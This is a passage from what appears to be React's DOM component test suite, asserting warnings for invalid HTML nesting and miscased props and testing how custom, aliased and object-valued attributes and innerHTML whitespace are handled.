'\\n    in tr (at **)' +\n          '\\n    in Row (at **)',\n      ]);\n    });\n\n    it('gives useful context in warnings', async () => {\n      function Row() {\n        return <tr />;\n      }\n      function FancyRow() {\n        return <Row />;\n      }\n\n      function Viz1() {\n        return (\n          <table>\n            <FancyRow />\n          </table>\n        );\n      }\n      function App1() {\n        return <Viz1 />;\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<App1 />);\n      });\n      assertConsoleErrorDev([\n        'In HTML, <tr> cannot be a child of <table>. ' +\n          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <App1>\\n' +\n          '    <Viz1>\\n' +\n          '>     <table>\\n' +\n          '        <FancyRow>\\n' +\n          '          <Row>\\n' +\n          '>           <tr>\\n' +\n          '\\n    in tr (at **)' +\n          '\\n    in Row (at **)' +\n          '\\n    in FancyRow (at **)' +\n          '\\n    in Viz1 (at **)' +\n          '\\n    in App1 (at **)',\n        '<table> cannot contain a nested <tr>.\\n' +\n          'See this log for the ancestor stack trace.\\n' +\n          '    in table (at **)\\n' +\n          '    in Viz1 (at **)\\n' +\n          '    in App1 (at **)',\n      ]);\n    });\n\n    it('gives useful context in warnings 2', async () => {\n      function Row() {\n        return <tr />;\n      }\n      function FancyRow() {\n        return <Row />;\n      }\n\n      class Table extends React.Component {\n        render() {\n          return <table>{this.props.children}</table>;\n        }\n      }\n\n      class FancyTable extends React.Component {\n        render() {\n          return <Table>{this.props.children}</Table>;\n        }\n      }\n\n      function Viz2() {\n        return (\n          <FancyTable>\n            <FancyRow />\n          </FancyTable>\n        );\n      }\n      function App2() {\n        return <Viz2 />;\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<App2 />);\n      });\n      assertConsoleErrorDev([\n        'In HTML, <tr> cannot be a child of <table>. ' +\n          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <App2>\\n' +\n          '    <Viz2>\\n' +\n          '      <FancyTable>\\n' +\n          '        <Table>\\n' +\n          '>         <table>\\n' +\n          '            <FancyRow>\\n' +\n          '              <Row>\\n' +\n          '>               <tr>\\n' +\n          '\\n    in tr (at **)' +\n          '\\n    in Row (at **)' +\n          '\\n    in FancyRow (at **)' +\n          '\\n    in Viz2 (at **)' +\n          '\\n    in App2 (at **)',\n        '<table> cannot contain a nested <tr>.\\n' +\n          'See this log for the ancestor stack trace.\\n' +\n          '    in table (at **)\\n' +\n          '    in Table (at **)\\n' +\n          '    in FancyTable (at **)\\n' +\n          '    in Viz2 (at **)\\n' +\n          '    in App2 (at **)',\n      ]);\n    });\n\n    it('gives useful context in warnings 3', async () => {\n      function Row() {\n        return <tr />;\n      }\n      function FancyRow() {\n        return <Row />;\n      }\n\n      class Table extends React.Component {\n        render() {\n          return <table>{this.props.children}</table>;\n        }\n      }\n\n      class FancyTable extends React.Component {\n        render() {\n          return <Table>{this.props.children}</Table>;\n        }\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <FancyTable>\n            <FancyRow />\n          </FancyTable>,\n        );\n      });\n      assertConsoleErrorDev([\n        'In HTML, <tr> cannot be a child of <table>. ' +\n          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <FancyTable>\\n' +\n          '    <Table>\\n' +\n          '>     <table>\\n' +\n          '        <FancyRow>\\n' +\n          '          <Row>\\n' +\n          '>           <tr>\\n' +\n          '\\n    in tr (at **)' +\n          '\\n    in Row (at **)' +\n          '\\n    in FancyRow (at **)',\n        '<table> cannot contain a nested <tr>.\\n' +\n          'See this log for the ancestor stack trace.' +\n          '\\n    in table (at **)' +\n          '\\n    in Table (at **)' +\n          '\\n    in FancyTable (at **)',\n      ]);\n    });\n\n    it('gives useful context in warnings 4', async () => {\n      function Row() {\n        return <tr />;\n      }\n      function FancyRow() {\n        return <Row />;\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <table>\n            <FancyRow />\n          </table>,\n        );\n      });\n      assertConsoleErrorDev([\n        'In HTML, <tr> cannot be a child of <table>. ' +\n          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '> <table>\\n' +\n          '    <FancyRow>\\n' +\n          '      <Row>\\n' +\n          '>       <tr>\\n' +\n          '\\n    in tr (at **)' +\n          '\\n    in Row (at **)' +\n          '\\n    in FancyRow (at **)',\n        '<table> cannot contain a nested <tr>.\\n' +\n          'See this log for the ancestor stack trace.' +\n          '\\n    in table (at **)',\n      ]);\n    });\n\n    it('gives useful context in warnings 5', async () => {\n      class Table extends React.Component {\n        render() {\n          return <table>{this.props.children}</table>;\n        }\n      }\n\n      class FancyTable extends React.Component {\n        render() {\n          return <Table>{this.props.children}</Table>;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <FancyTable>\n            <tr />\n          </FancyTable>,\n        );\n      });\n      assertConsoleErrorDev([\n        'In HTML, <tr> cannot be a child of <table>. ' +\n          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <FancyTable>\\n' +\n          '    <Table>\\n' +\n          '>     <table>\\n' +\n          '>       <tr>\\n' +\n          '\\n    in tr (at **)',\n        '<table> cannot contain a nested <tr>.\\n' +\n          'See this log for the ancestor stack trace.' +\n          '\\n    in table (at **)' +\n          '\\n    in Table (at **)' +\n          '\\n    in FancyTable (at **)',\n      ]);\n\n      class Link extends React.Component {\n        render() {\n          return <a>{this.props.children}</a>;\n        }\n      }\n\n      await act(() => {\n        root.render(\n          <Link>\n            <div>\n              <Link />\n            </div>\n          </Link>,\n        );\n      });\n      assertConsoleErrorDev([\n        'In HTML, <a> cannot be a descendant of <a>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <Link>\\n' +\n          '>   <a>\\n' +\n          '      <div>\\n' +\n          '        <Link>\\n' +\n          '>         <a>\\n' +\n          '\\n    in a (at **)' +\n          '\\n    in Link (at **)',\n        '<a> cannot contain a nested <a>.\\n' +\n          'See this log for the ancestor stack trace.' +\n          '\\n    in a (at **)' +\n          '\\n    in Link (at **)',\n      ]);\n    });\n\n    it('should warn about incorrect casing on properties (ssr)', () => {\n      ReactDOMServer.renderToString(\n        React.createElement('input', {type: 'text', tabindex: '1'}),\n      );\n      assertConsoleErrorDev([\n        'Invalid DOM property `tabindex`. Did you mean `tabIndex`?\\n' +\n          '    in input (at **)',\n      ]);\n    });\n\n    it('should warn about incorrect casing on event handlers (ssr)', () => {\n      ReactDOMServer.renderToString(\n        React.createElement('input', {type: 'text', oninput: '1'}),\n      );\n      assertConsoleErrorDev([\n        'Invalid event handler property `oninput`. ' +\n          'React events use the camelCase naming convention, ' +\n          // Note: we don't know the right event name so we\n          // use a generic one (onClick) as a suggestion.\n          // This is because we don't bundle the event system\n          // on the server.\n          'for example `onClick`.\\n' +\n          '    in input (at **)',\n      ]);\n      ReactDOMServer.renderToString(\n        React.createElement('input', {type: 'text', onKeydown: '1'}),\n      );\n      // We can't warn for `onKeydown` on the server because\n      // there is no way tell if this is a valid event or not\n      // without access to the event system (which we don't bundle).\n    });\n\n    it('should warn about incorrect casing on properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          React.createElement('input', {type: 'text', tabindex: '1'}),\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `tabindex`. Did you mean `tabIndex`?\\n' +\n          '    in input (at **)',\n      ]);\n    });\n\n    it('should warn about incorrect casing on event handlers', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(React.createElement('input', {type: 'text', oninput: '1'}));\n      });\n      assertConsoleErrorDev([\n        'Invalid event handler property `oninput`. Did you mean `onInput`?\\n' +\n          '    in input (at **)',\n      ]);\n\n      await act(() => {\n        root.render(\n          React.createElement('input', {type: 'text', onKeydown: '1'}),\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid event handler property `onKeydown`. Did you mean `onKeyDown`?\\n' +\n          '    in input (at **)',\n      ]);\n    });\n\n    it('should warn about class', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(React.createElement('div', {class: 'muffins'}));\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn about class (ssr)', () => {\n      ReactDOMServer.renderToString(\n        React.createElement('div', {class: 'muffins'}),\n      );\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn about props that are no longer supported', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div />);\n      });\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div onFocusIn={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\\n' +\n          '    in div (at **)',\n      ]);\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div onFocusOut={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn about props that are no longer supported without case sensitivity', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div />);\n      });\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div onfocusin={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\\n' +\n          '    in div (at **)',\n      ]);\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div onfocusout={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn about props that are no longer supported (ssr)', () => {\n      ReactDOMServer.renderToString(<div />);\n      ReactDOMServer.renderToString(<div onFocusIn={() => {}} />);\n      assertConsoleErrorDev([\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\\n' +\n          '    in div (at **)',\n      ]);\n      ReactDOMServer.renderToString(<div onFocusOut={() => {}} />);\n      assertConsoleErrorDev([\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn about props that are no longer supported without case sensitivity (ssr)', () => {\n      ReactDOMServer.renderToString(<div />);\n      ReactDOMServer.renderToString(<div onfocusin={() => {}} />);\n      assertConsoleErrorDev([\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\\n' +\n          '    in div (at **)',\n      ]);\n      ReactDOMServer.renderToString(<div onfocusout={() => {}} />);\n      assertConsoleErrorDev([\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('gives source code refs for unknown prop warning', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div class=\"paladin\" />);\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in div (at **)',\n      ]);\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<input type=\"text\" onclick=\"1\" />);\n      });\n      assertConsoleErrorDev([\n        'Invalid event handler property `onclick`. Did you mean ' +\n          '`onClick`?\\n' +\n          '    in input (at **)',\n      ]);\n    });\n\n    it('gives source code refs for unknown prop warning (ssr)', () => {\n      ReactDOMServer.renderToString(<div class=\"paladin\" />);\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in div (at **)',\n      ]);\n      ReactDOMServer.renderToString(<input type=\"text\" oninput=\"1\" />);\n      assertConsoleErrorDev([\n        'Invalid event handler property `oninput`. ' +\n          // Note: we don't know the right event name so we\n          // use a generic one (onClick) as a suggestion.\n          // This is because we don't bundle the event system\n          // on the server.\n          'React events use the camelCase naming convention, for example `onClick`.\\n' +\n          '    in input (at **)',\n      ]);\n    });\n\n    it('gives source code refs for unknown prop warning for update render', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div className=\"paladin\" />);\n      });\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div class=\"paladin\" />);\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('gives source code refs for unknown prop warning for exact elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div className=\"foo1\">\n            <span class=\"foo2\" />\n            <div onClick={() => {}} />\n            <strong onclick={() => {}} />\n            <div className=\"foo5\" />\n            <div className=\"foo6\" />\n          </div>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in span (at **)',\n        'Invalid event handler property `onclick`. Did you mean `onClick`?\\n' +\n          '    in strong (at **)',\n      ]);\n    });\n\n    it('gives source code refs for unknown prop warning for exact elements (ssr)', () => {\n      ReactDOMServer.renderToString(\n        <div className=\"foo1\">\n          <span class=\"foo2\" />\n          <div onClick=\"foo3\" />\n          <strong onclick=\"foo4\" />\n          <div className=\"foo5\" />\n          <div className=\"foo6\" />\n        </div>,\n      );\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in span (at **)',\n        'Invalid event handler property `onclick`. ' +\n          'React events use the camelCase naming convention, for example `onClick`.\\n' +\n          '    in strong (at **)',\n      ]);\n    });\n\n    it('gives source code refs for unknown prop warning for exact elements in composition', async () => {\n      class Parent extends React.Component {\n        render() {\n          return (\n            <div>\n              <Child1 />\n              <Child2 />\n              <Child3 />\n              <Child4 />\n            </div>\n          );\n        }\n      }\n\n      class Child1 extends React.Component {\n        render() {\n          return <span class=\"paladin\">Child1</span>;\n        }\n      }\n\n      class Child2 extends React.Component {\n        render() {\n          return <div>Child2</div>;\n        }\n      }\n\n      class Child3 extends React.Component {\n        render() {\n          return <strong onclick=\"1\">Child3</strong>;\n        }\n      }\n\n      class Child4 extends React.Component {\n        render() {\n          return <div>Child4</div>;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Parent />);\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in span (at **)\\n' +\n          '    in Child1 (at **)\\n' +\n          '    in Parent (at **)',\n        'Invalid event handler property `onclick`. Did you mean `onClick`?\\n' +\n          '    in strong (at **)\\n' +\n          '    in Child3 (at **)\\n' +\n          '    in Parent (at **)',\n      ]);\n    });\n\n    it('gives source code refs for unknown prop warning for exact elements in composition (ssr)', () => {\n      const container = document.createElement('div');\n\n      class Parent extends React.Component {\n        render() {\n          return (\n            <div>\n              <Child1 />\n              <Child2 />\n              <Child3 />\n              <Child4 />\n            </div>\n          );\n        }\n      }\n\n      class Child1 extends React.Component {\n        render() {\n          return <span class=\"paladin\">Child1</span>;\n        }\n      }\n\n      class Child2 extends React.Component {\n        render() {\n          return <div>Child2</div>;\n        }\n      }\n\n      class Child3 extends React.Component {\n        render() {\n          return <strong onclick=\"1\">Child3</strong>;\n        }\n      }\n\n      class Child4 extends React.Component {\n        render() {\n          return <div>Child4</div>;\n        }\n      }\n\n      ReactDOMServer.renderToString(<Parent />, container);\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in span (at **)\\n' +\n          '    in Child1 (at **)\\n' +\n          '    in Parent (at **)',\n        'Invalid event handler property `onclick`. ' +\n          'React events use the camelCase naming convention, for example `onClick`.\\n' +\n          '    in strong (at **)\\n' +\n          '    in Child3 (at **)\\n' +\n          '    in Parent (at **)',\n      ]);\n    });\n\n    it('should suggest property name if available', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(React.createElement('label', {for: 'test'}));\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `for`. Did you mean `htmlFor`?\\n' +\n          '    in label',\n      ]);\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          React.createElement('input', {type: 'text', autofocus: true}),\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `autofocus`. Did you mean `autoFocus`?\\n    in input',\n      ]);\n    });\n\n    it('should suggest property name if available (ssr)', () => {\n      ReactDOMServer.renderToString(\n        React.createElement('label', {for: 'test'}),\n      );\n      assertConsoleErrorDev([\n        'Invalid DOM property `for`. Did you mean `htmlFor`?\\n' +\n          '    in label',\n      ]);\n      ReactDOMServer.renderToString(\n        React.createElement('input', {type: 'text', autofocus: true}),\n      );\n      assertConsoleErrorDev([\n        'Invalid DOM property `autofocus`. Did you mean `autoFocus`?\\n' +\n          '    in input',\n      ]);\n    });\n  });\n\n  describe('whitespace', () => {\n    it('renders innerHTML and preserves whitespace', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const html = '\\n  \\t  <span>  \\n  testContent  \\t  </span>  \\n  \\t';\n      const elem = <div dangerouslySetInnerHTML={{__html: html}} />;\n\n      await act(() => {\n        root.render(elem);\n      });\n      expect(container.firstChild.innerHTML).toBe(html);\n    });\n\n    it('render and then updates innerHTML and preserves whitespace', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const html = '\\n  \\t  <span>  \\n  testContent1  \\t  </span>  \\n  \\t';\n      const elem = <div dangerouslySetInnerHTML={{__html: html}} />;\n      await act(() => {\n        root.render(elem);\n      });\n\n      const html2 = '\\n  \\t  <div>  \\n  testContent2  \\t  </div>  \\n  \\t';\n      const elem2 = <div dangerouslySetInnerHTML={{__html: html2}} />;\n      await act(() => {\n        root.render(elem2);\n      });\n\n      expect(container.firstChild.innerHTML).toBe(html2);\n    });\n  });\n\n  describe('Attributes with aliases', function () {\n    it('sets aliased attributes on HTML attributes', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div class=\"test\" ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `class`. Did you mean `className`?\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.className).toBe('test');\n    });\n\n    it('sets incorrectly cased aliased attributes on HTML attributes with a warning', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div cLASS=\"test\" ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `cLASS`. Did you mean `className`?\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.className).toBe('test');\n    });\n\n    it('sets aliased attributes on SVG elements with a warning', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <svg ref={current => (el = current)}>\n            <text arabic-form=\"initial\" />\n          </svg>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `arabic-form`. Did you mean `arabicForm`?\\n' +\n          '    in text (at **)',\n      ]);\n      const text = el.querySelector('text');\n\n      expect(text.hasAttribute('arabic-form')).toBe(true);\n    });\n\n    it('sets aliased attributes on custom elements', async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div is=\"custom-element\" class=\"test\" />);\n      });\n\n      const el = container.firstChild;\n      expect(el.getAttribute('class')).toBe('test');\n    });\n\n    it('aliased attributes on custom elements with bad casing', async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div is=\"custom-element\" claSS=\"test\" />);\n      });\n\n      const el = container.firstChild;\n\n      expect(el.getAttribute('class')).toBe('test');\n    });\n\n    it('updates aliased attributes on custom elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div is=\"custom-element\" class=\"foo\" />);\n      });\n      await act(() => {\n        root.render(<div is=\"custom-element\" class=\"bar\" />);\n      });\n\n      expect(container.firstChild.getAttribute('class')).toBe('bar');\n    });\n  });\n\n  describe('Custom attributes', function () {\n    it('allows assignment of custom attributes with string values', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div whatever=\"30\" />);\n      });\n\n      const el = container.firstChild;\n\n      expect(el.getAttribute('whatever')).toBe('30');\n    });\n\n    it('removes custom attributes', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div whatever=\"30\" />);\n      });\n\n      expect(container.firstChild.getAttribute('whatever')).toBe('30');\n\n      await act(() => {\n        root.render(<div whatever={null} />);\n      });\n\n      expect(container.firstChild.hasAttribute('whatever')).toBe(false);\n    });\n\n    it('does not assign a boolean custom attributes as a string', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div whatever={true} ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Received `true` for a non-boolean attribute `whatever`.\\n\\n' +\n          'If you want to write it to the DOM, pass a string instead: ' +\n          'whatever=\"true\" or whatever={value.toString()}.\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.hasAttribute('whatever')).toBe(false);\n    });\n\n    it('does not assign an implicit boolean custom attributes', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          // eslint-disable-next-line react/jsx-boolean-value\n          <div whatever ref={current => (el = current)} />,\n        );\n      });\n      assertConsoleErrorDev([\n        'Received `true` for a non-boolean attribute `whatever`.\\n\\n' +\n          'If you want to write it to the DOM, pass a string instead: ' +\n          'whatever=\"true\" or whatever={value.toString()}.\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.hasAttribute('whatever')).toBe(false);\n    });\n\n    it('assigns a numeric custom attributes as a string', async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div whatever={3} />);\n      });\n\n      const el = container.firstChild;\n\n      expect(el.getAttribute('whatever')).toBe('3');\n    });\n\n    it('will not assign a function custom attributes', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <div whatever={() => {}} ref={current => (el = current)} />,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `whatever` on <div> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.hasAttribute('whatever')).toBe(false);\n    });\n\n    it('will assign an object custom attributes', async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div whatever={{}} />);\n      });\n\n      const el = container.firstChild;\n      expect(el.getAttribute('whatever')).toBe('[object Object]');\n    });\n\n    it('allows Temporal-like objects as HTML (they are not coerced to strings first)', async () => {\n      class TemporalLike {\n        valueOf() {\n          // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n          // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n          throw new TypeError('prod message');\n        }\n        toString() {\n          return '2020-01-01';\n        }\n      }\n\n      // `dangerouslySetInnerHTML` is never coerced to a string, so won't throw\n      // even with a Temporal-like object.\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div dangerouslySetInnerHTML={{__html: new TemporalLike()}} />,\n        );\n      });\n      expect(container.firstChild.innerHTML).toEqual('2020-01-01');\n    });\n\n    it('allows cased data attributes', async () => {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div data-fooBar=\"true\" ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'React does not recognize the `data-fooBar` prop on a DOM element. ' +\n          'If you intentionally want it to appear in the DOM as a custom ' +\n          'attribute, spell it as lowercase `data-foobar` instead. ' +\n          'If you accidentally passed it from a parent component, remove ' +\n          'it from the DOM element.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(el.getAttribute('data-foobar')).toBe('true');\n    });\n\n    it('allows cased custom attributes', async () => {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div fooBar=\"true\" ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'React does not recognize the `fooBar` prop on a DOM element. ' +\n          'If you intentionally want it to appear in the DOM as a custom ' +\n          'attribute, spell it as lowercase `foobar` instead. ' +\n          'If you accidentally passed it from a parent component, remove ' +\n          'it from the DOM element.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(el.getAttribute('foobar')).toBe('true');\n    });\n\n    it('warns on NaN attributes', async () => {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div whatever={NaN} ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Received NaN for the `whatever` attribute. If this is ' +\n          'expected, cast the value to a string.\\n' +\n          '    in div',\n      ]);\n\n      expect(el.getAttribute('whatever')).toBe('NaN');\n    });\n\n    it('removes a property when it becomes invalid', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div whatever={0} />);\n      });\n      await act(() => {\n        root.render(<div whatever={() => {}} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `whatever` on <div> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in div (at **)',\n      ]);\n      const el = container.firstChild;\n      expect(el.hasAttribute('whatever')).toBe(false);\n    });\n\n    it('warns on bad casing of known HTML attributes', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div SiZe=\"30\" ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `SiZe`. Did you mean `size`?\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.getAttribute('size')).toBe('30');\n    });\n  });\n\n  describe('Object stringification', function () {\n    it('allows objects on known properties', async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div acceptCharset={{}} />);\n      });\n\n      const el = container.firstChild;\n      expect(el.getAttribute('accept-charset')).toBe('[object Object]');\n    });\n\n    it('should pass objects as attributes if they define toString', async () => {\n      const obj = {\n        toString() {\n          return 'hello';\n        },\n      };\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<img src={obj} />);\n      });\n      expect(container.firstChild.src).toBe('http://localhost/hello');\n\n      await act(() => {\n        root.render(<svg arabicForm={obj} />);\n      });\n      expect(container.firstChild.getAttribute('arabic-form')).toBe('hello');\n\n      await act(() => {\n        root.render(<div unknown={obj} />);\n      });\n      expect(container.firstChild.getAttribute('unknown')).toBe('hello');\n    });\n\n    it('passes objects on known SVG attributes if they do not define toString', async () => {\n      const obj = {};\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<svg arabicForm={obj} />);\n      });\n      expect(container.firstChild.getAttribute('arabic-form')).toBe(\n        '[object Object]',\n      );\n    });\n\n    it('passes objects on custom attributes if they do not define toString', async () => {\n      const obj = {};\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div unknown={obj} />);\n      });\n      expect(container.firstChild.getAttribute('unknown')).toBe(\n        '[object 